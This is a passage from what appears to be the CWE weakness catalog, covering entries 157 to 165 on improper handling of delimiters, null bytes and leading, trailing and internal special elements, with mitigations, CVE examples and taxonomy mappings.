CVE-2004-0942	CPU consumption with MIME headers containing lines with many space characters, probably due to algorithmic complexity (RESOURCE.AMP.ALG). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0942*
CVE-2003-1015	MIE. whitespace interpreted differently by mail clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1015*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

Can overlap other separator characters or delimiters.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER	SPEC.WHITESPACE		Whitespace
Software Fault Patterns	SFP24		Tainted input to command

CWE-157: Failure to Sanitize Paired Delimiters

Weakness ID : 157 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.

Extended Description

Paired delimiters might include:

- < and > angle brackets
- (and) parentheses
- { and } braces
- [and] square brackets
- " " double quotes
- ' ' single quotes

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	138	Improper Neutralization of Special Elements	342

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that grouping elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2004-0956	Crash via missing paired delimiter (open double-quote but no closing double-quote). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0956*
CVE-2000-1165	Crash via message without closing ">". *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1165*
CVE-2005-2933	Buffer overflow via mailbox name with an opening double quote but missing a closing double quote, causing a larger copy than expected. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2933*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Research Gap

Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Grouping Element / Paired Delimiter
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters

CWE-158: Improper Neutralization of Null Byte or NUL Character

Weakness ID : 158 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.

Extended Description

As data is parsed, an injected NUL character or null byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	138	Improper Neutralization of Special Elements	342

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that null characters or null bytes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2008-1284	NUL byte in theme name causes directory traversal impact to be worse *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1284*
CVE-2005-2008	Source code disclosure using trailing null. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2008*
CVE-2005-3293	Source code disclosure using trailing null. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3293*
CVE-2005-2061	Trailing null allows file include. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2061*
CVE-2002-1774	Null character in MIME header allows detection bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1774*
CVE-2000-0149	Web server allows remote attackers to view the source code for CGI programs via a null character (%00) at the end of a URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0149*
CVE-2000-0671	Web server earlier allows allows remote attackers to bypass access restrictions, list directory contents, and read source code by inserting a null character (%00) in the URL. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0671*
CVE-2001-0738	Logging system allows an attacker to cause a denial of service (hang) by causing null bytes to be placed in log messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0738*
CVE-2001-1140	Web server allows source code for executable programs to be read via a null character (%00) at the end of a request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1140*
CVE-2002-1031	Protection mechanism for limiting file access can be bypassed using a null character (%00) at the end of the directory name. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1031*
CVE-2002-1025	Application server allows remote attackers to read JSP source code via an encoded null byte in an HTTP GET request, which causes the server to send the .JSP file unparsed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1025*

Reference	Description
CVE-2003-0768	XSS protection mechanism only checks for sequences with an alphabetical character following a (<), so a non-alphabetical or null character (%00) following a < may be processed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0768*
CVE-2004-0189	Decoding function in proxy allows regular expression bypass in ACLs via URLs with null characters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0189*
CVE-2005-3153	Null byte bypasses PHP regexp check (interaction error). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3153*
CVE-2005-4155	Null byte bypasses PHP regexp check (interaction error). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4155*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

This can be a factor in multiple interpretation errors, other interaction errors, filename equivalence, etc.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Null Character / Null Byte
WASC	28		Null Byte Injection
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-159: Improper Handling of Invalid Use of Special Elements

Weakness ID : 159 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product does not properly filter, remove, quote, or otherwise manage the invalid use of special elements in user-controlled input, which could cause adverse effect on its behavior and integrity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	342
ParentOf	B	166	Improper Handling of Missing Special Element	390
ParentOf	B	167	Improper Handling of Additional Special Element	392
ParentOf	B	168	Improper Handling of Inconsistent Special Elements	394

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Maintenance

The list of children for this entry is far from complete.

Terminology

Precise terminology for the underlying weaknesses does not exist. Therefore, these weaknesses use the terminology associated with the manipulation.

Research Gap

Customized languages and grammars, even those that are specific to a particular product, are potential sources of weaknesses that are related to special elements. However, most researchers concentrate on the most commonly used representations for data transmission, such as HTML and SQL. Any representation that is commonly used is likely to be a rich source of weaknesses; researchers are encouraged to investigate previously unexplored representations.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Common Special Element Manipulations
Software Fault Patterns	SFP24		Tainted input to command

CWE-160: Improper Neutralization of Leading Special Elements

Weakness ID : 160 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description

As data is parsed, improperly handled leading special elements may cause the process to take unexpected actions that result in an attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	342
ParentOf	V	37	Path Traversal: '/absolute/pathname/here'	73
ParentOf	V	161	Improper Neutralization of Multiple Leading Special Elements	383

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that leading special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Leading Special Element
Software Fault Patterns	SFP24		Tainted input to command

CWE-161: Improper Neutralization of Multiple Leading Special Elements

Weakness ID : 161 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description

As data is parsed, improperly handled multiple leading special elements may cause the process to take unexpected actions that result in an attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	160	Improper Neutralization of Leading Special Elements	381
ParentOf	V	50	Path Equivalence: '//multiple/leading/slash'	95

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that multiple leading special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if

the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Leading Special Elements
Software Fault Patterns	SFP24		Tainted input to command

CWE-162: Improper Neutralization of Trailing Special Elements

Weakness ID : 162 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description

As data is parsed, improperly handled trailing special elements may cause the process to take unexpected actions that result in an attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	342
ParentOf	V	42	Path Equivalence: 'filename.' (Trailing Dot)	87
ParentOf	V	46	Path Equivalence: 'filename ' (Trailing Space)	90
ParentOf	V	49	Path Equivalence: 'filename/' (Trailing Slash)	94
ParentOf	V	54	Path Equivalence: 'filedir\' (Trailing Backslash)	99
ParentOf	V	163	Improper Neutralization of Multiple Trailing Special Elements	386

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that trailing special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Trailing Special Element
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
635	Alternative Execution Due to Deceptive Filenames

CWE-163: Improper Neutralization of Multiple Trailing Special Elements

Weakness ID : 163 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description

As data is parsed, improperly handled multiple trailing special elements may cause the process to take unexpected actions that result in an attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	162	Improper Neutralization of Trailing Special Elements	384
ParentOf	V	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)	88
ParentOf	V	52	Path Equivalence: '/multiple/trailing/slash//'	97

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that multiple trailing special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Trailing Special Elements
Software Fault Patterns	SFP24		Tainted input to command

CWE-164: Improper Neutralization of Internal Special Elements

Weakness ID : 164 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description

As data is parsed, improperly handled internal special elements may cause the process to take unexpected actions that result in an attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	342
ParentOf	V	165	Improper Neutralization of Multiple Internal Special Elements	389

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that internal special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Internal Special Element
Software Fault Patterns	SFP24		Tainted input to command

CWE-165: Improper Neutralization of Multiple Internal Special Elements

Weakness ID : 165 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description

As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	164	Improper Neutralization of Internal Special Elements	387
ParentOf	V	45	Path Equivalence: 'file...name' (Multiple Internal Dot)	90
ParentOf	V	53	Path Equivalence: '\multiple\\internal\backslash'	98

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that multiple internal special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

